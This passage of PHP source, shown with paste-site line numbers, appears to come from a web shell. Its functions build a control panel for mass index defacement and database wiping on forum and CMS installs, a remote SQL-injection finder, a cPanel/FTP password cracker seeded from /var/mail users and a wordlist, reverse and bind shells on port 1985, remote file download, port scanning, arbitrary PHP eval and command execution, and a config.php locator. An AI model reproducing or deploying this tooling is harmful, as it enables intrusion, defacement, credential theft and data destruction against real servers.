  859. {echo $crtf[$i];} elseif ($crtf[$i] != "\\") {echo "%".$hex;}}

    860. 

  860. echo '</table>';

    861. 

  861. sub('crtty','Crypt','');echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';sub('crypfl','Crypt File');echo '<br><br>';

    862. 

  862. echo "<a href=\"javascript: history.go(-1)\">Back</a></div><hr>";echo "<p align=\"center\"><a href=\"".$php."\">Home</a><br></p>";}

    863. 

  863. 

    864. 

  864. function extr_i(){

    865. 

  865. echo "<form  action=\"".$php."\"method=\"post\">";

    866. 

  866. inp('text','50','sqtid','','IP/HOST:');

    867. 

  867. sub('ext_si','Extract!','<br>');

    868. 

  868. echo "</form>";  

    869. 

  869. }

    870. 

  870. function indexc()

    871. 

  871. {$xq = 'UPDATE "dbname".template name SET template name = "index code" WHERE title = "field title"'; 

    872. 

  872. echo "<form action=\"".$php."\" method=\"post\">

    873. 

  873. <div align =\"center\"><b>Index Code</b>";

    874. 

  874. are('coded','Post your code here','50','20','<br>');

    875. 

  875. echo '<div align=left>';

    876. 

  876. echo "<b>File Options</b><br><hr color=black>";

    877. 

  877. inp('text','40','masdr',path,'Path');echo '&nbsp;&nbsp;';inp('text','20','skid','Dir name','Skip Dir');echo "<br>"; 

    878. 

  878. inp('radio','10','msi','msfi','Just indexes','<br>');

    879. 

  879. inp('radio','10','msi','msfa','all files','<br>');

    880. 

  880. inp('radio','10','msi','msfr','Remove all without indexes');

    881. 

  881. echo "<hr color=black><b>DataBase options</b><br>";

    882. 

  882. 

    883. 

  883. echo "<br>";

    884. 

  884. inp('radio','10','msi','msvb','VB','<br>');

    885. 

  885. inp('radio','10','msi','msbb','MyBB','<br>');

    886. 

  886. inp('radio','10','msi','msin','Infinty','<br>');

    887. 

  887. inp('radio','10','msi','mswp','WordPress','<br>');

    888. 

  888. inp('radio','10','msi','msjo','Jomla','<br>');

    889. 

  889. inp('radio','10','msi','msrd','Remove DB!','<br>');

    890. 

  890. inp('radio','10','msi','msot','Other | index code = $coded','<br>');

    891. 

  891. inp('text','100','msqur',$xq,'Query:');echo "<br><br>";

    892. 

  892. inp('text','15','sqdbn',$n,'DBname:');

    893. 

  893. inp('text','15','sqlog',$u,'DBuser:');

    894. 

  894. inp('text','15','sqpwd',$p,'DB_PWD:');

    895. 

  895. inp('text','13','sqsrv','localhost','HOST:');

    896. 

  896. inp('text','13','sqprt','3306','PORT:');

    897. 

  897. 

    898. 

  898. echo "<hr color=black><br><br><div align =\"center\">";

    899. 

  899. sub('massa','Mass Index!','<br>');

    900. 

  900. echo "</form>";

    901. 

  901. echo "<a href=\"".$php."\">Home</a><br><br>";exit;}

    902. 

  902. 

    903. 

  903. function sqlinj(){

    904. 

  904. echo "<center>FIND SQL INJECTION ON OTHER REMOTE SERVER <BR>"; 

    905. 

  905. echo "<form name=\"site\" action=\"".$php."\"method=\"post\">";

    906. 

  906. inp('text','20','ipp','',' IP ','<br><br>');

    907. 

  907. sub('gip','&nbsp;Find SQL Inj','<br>');

    908. 

  908. echo "</form>";

    909. 

  909. }

    910. 

  910. function ccf(){

    911. 

  911. $wrdlist= "1234556 \n987654321\n963852741\n321654\n987654321\n963741\n951753\n852654\n987321\n321987951753";

    912. 

  912. if(wdll_chf()){$userlist = wdll_cmdf('ls /var/mail');}else $userlist ="users";

    913. 

  913. echo "<form  action=\"".$php."\"method=\"post\"><br><br>";

    914. 

  914. $loca = $_SERVER['SERVER_NAME'];

    915. 

  915. inp('text','30','site',$loca,'HOST/IP');

    916. 

  916. inp('text','5','port','2082','Port','<br>');

    917. 

  917. 

    918. 

  918. if(!empty($_REQUEST['uses'])){ $userlist = $_REQUEST['uses'];}

    919. 

  919. echo "<table><tr><td>";

    920. 

  920. are('uses',$userlist,'10','20',$pr ='');echo "</td><td>";

    921. 

  921. if(!empty($_REQUEST['pass'])){$wrdlist = $_REQUEST['pass'];}echo "</td><td>";

    922. 

  922. echo "<textarea id='passw' name='pass' cols='10'rows='20' onselect='cp()' onchange='cp()' onkeydown='cp()' onkeyup='cp()' onchange='cp()'>".$wrdlist."</textarea>";

    923. 

  923. echo "</td></tr></table>";

    924. 

  924. echo "<br>

    925. 

  925. <b>Password Number : <span id='pn'>0<br></span>

    926. 

  926. <span><font color=orange><b>Split The Password List By:</font></span><br>

    927. 

  927. <input name='textml' id='spl' type='text' value=',' size='5'/>

    928. 

  928. <input type='button' onclick='psplit()' value='Split'>";

    929. 

  929. echo "<br><br>";

    930. 

  930. inp('radio','10','crt','cp','Cpanel [2082]');

    931. 

  931. inp('radio','10','crt','FTP','FTP [21]','<br>');

    932. 

  932. echo "<br>";

    933. 

  933. sub('crcf','Crack');

    934. 

  934. echo "</form>";

    935. 

  935. echo "<br><a href=\"".$php."\">Home</a><br><br>";

    936. 

  936. ?>

    937. 

  937. <body onload="cp">

    938. 

  938. <script type="text/javascript">

    939. 

  939. 	

    940. 

  940. 	window.onload = pchange;

    941. 

  941. 	var xy = false;	

    942. 

  942.     	function psplit(){

    943. 

  943. 		var yx = document.getElementById("passw").value;

    944. 

  944. 		var yz = document.getElementById("spl").value;

    945. 

  945. 		var nora=new Array();

    946. 

  946. 		nora = yx.split(yz);

    947. 

  947. 		document.getElementById("passw").value="";

    948. 

  948. 		var i;

    949. 

  949. 		for(i=0;i<nora.length;i++){

    950. 

  950. 			document.getElementById("passw").value += nora[i]+"\n";}

    951. 

  951. 		cp();}

    952. 

  952. 	function cp(){

    953. 

  953. 		var etext = document.getElementById("passw").value;

    954. 

  954. 		var nora=new Array(); 

    955. 

  955. 		nora = etext.split("\n");

    956. 

  956. 		document.getElementById("pn").innerHTML=nora.length+"<br />";

    957. 

  957. 		if(!xy && nora.length > 50000){

    958. 

  958. 			alert('If passwords list More Than 50000 passwords This May Hang The Server');

    959. 

  959. 			xy = true;}}</script>

    960. 

  960. <?php

    961. 

  961. exit();}

    962. 

  962. 

    963. 

  963. function backc(){        

    964. 

  964. echo "<form  action=\"".$php."\"method=\"post\">";     

    965. 

  965. inp('text','20','bcip',$_SERVER['REMOTE_ADDR'],'IP:');

    966. 

  966. inp('text','10','bcpo','1985','Port');

    967. 

  967. sub('bpg','Connect!','<br><br>');

    968. 

  968. echo 'Lunix Bind Port <br>';

    969. 

  969. inp('text','10','lbcp','1985','Port');

    970. 

  970. sub('lbg','Connect!','<br><br>');

    971. 

  971. echo 'Win Bind Port<br>';

    972. 

  972. inp('text','10','wbcp','1985','Port');

    973. 

  973. sub('wbp','Connect!');

    974. 

  974. echo "</form>";

    975. 

  975. 

    976. 

  976. echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a><center><br></p>";}

    977. 

  977. function urlp(){        

    978. 

  978. echo "<form  action=\"".$php."\"method=\"post\">";     

    979. 

  979. inp('text','50','urlf','http://www.','URL:');

    980. 

  980. inp('text','50','pathf',path,'Path');

    981. 

  981. inp('text','10','localf','wdll.zip','Save as');

    982. 

  982. sub('urlup','Upload!');

    983. 

  983. echo "</form>";}

    984. 

  984. 

    985. 

  985. function ps5s(){

    986. 

  986. echo "<form  action=\"".$php."\"method=\"post\">";

    987. 

  987. inp('text','30','hot','IP/Domain');

    988. 

  988. inp('text','8','spot','1','FROM');

    989. 

  989. inp('text','8','epot','100','TO');

    990. 

  990. sub('spots','Scan');

    991. 

  991. echo "</form>";

    992. 

  992. }

    993. 

  993. function ch()

    994. 

  994. {

    995. 

  995. echo "<select name=ch>

    996. 

  996. <option value=cm>CHMOD</option>

    997. 

  997. <option value=co>CHOWN</option>

    998. 

  998. <option value=cg>CHGRP</option>

    999. 

  999. <option value=cu>Unlink</option>

    1000. 

  1000. </select>";inp('text','44','cfx',path);inp('text','8','cfy','0666');sub('chfl','Ok');}

    1001. 

  1001. 

    1002. 

  1002. function movdr(){

    1003. 

  1003. echo "<form  action=\"".$php."\"method=\"post\">";

    1004. 

  1004. inp('checkbox','','rvm','remov','Remove dir after copy');

    1005. 

  1005. inp('text','50','movd',path,'FROM');inp('text','47','destd',path,'TO');

    1006. 

  1006. sub('mvdi','Move');echo "</div>";

    1007. 

  1007. echo "</form>";}

    1008. 

  1008. 

    1009. 

  1009. function eva()

    1010. 

  1010. {echo "<form  action=\"".$php."\"method=\"post\">";

    1011. 

  1011. $valo = '//unlink G5.php';

    1012. 

  1012. are('evac',$valo,'125','5',$st ='',$pr ='<br><br><br><br>');

    1013. 

  1013. sub('evap','Run PHP Code',$pr='<br>');echo "</form>";}

    1014. 

  1014. 

    1015. 

  1015. function sk_ju()

    1016. 

  1016. {inp('checkbox','50','Ski','Ski','Skip');

    1017. 

  1017. inp('checkbox','50','Jum','Jum','Jump');

    1018. 

  1018. inp('text','20','askid','uploads','DIR');}

    1019. 

  1019. 

    1020. 

  1020. function cm_ge()

    1021. 

  1021. {$aliss = '';

    1022. 

  1022. $aliss = dir;

    1023. 

  1023. echo "<form method=\"POST\" action=\"".$php."\" enctype=\"multipart/form-data\">";

    1024. 

  1024. echo "<table dir =left border=1 bgcolor =\"000000\" ><tr><td>Execute</td><td>";

    1025. 

  1025. inp('text','55','cmde',$aliss,'');sub('cmdr','CMD',$pr='<br>');echo "</td></tr>";

    1026. 

  1026. echo "<tr><td> Get File</td><td>";

    1027. 

  1027. echo"<select size=\"1\" name=\"getm\" title=\"FileS Action\" >

    1028. 

  1028. 

    1029. 

  1029. <option value=\"2\">Mode [0]</option>

    1030. 

  1030. <option value=\"1\">Mode [1]</option>

    1031. 

  1031. <option value=\"3\">Mode [2]</option>

    1032. 

  1032. 

    1033. 

  1033. </select>";

    1034. 

  1034. if(isset($HTTP_POST_VARS['cfil']))$oop = $_POST['cfil'];else $oop = path;

    1035. 

  1035. inp('text','42','cfil',$oop,'');sub('gfil','&nbsp;Get ','<br>');echo "</td></tr>";

    1036. 

  1036. 

    1037. 

  1037. echo "<tr><td>Go Dir</td><td>";

    1038. 

  1038. inp('text','55','goto',path,'');sub('gotod',' Go &nbsp;','<br>');echo "</td></tr>";

    1039. 

  1039. echo "<tr><td>Locate</td><td>";

    1040. 

  1040. inp('text','55','fin','config.php','');sub('find','Find');echo "</td></tr>";

    1041. 

  1041. 

    1042. 

  1042. echo "<tr><td>Upload</td><td>";

    1043. 

  1043. inp('hidden','55','MAX_FILE_SIZE',$umf,'');

    1044. 

  1044. ec…
    1045.

Large files files are truncated, but you can click here to view the full file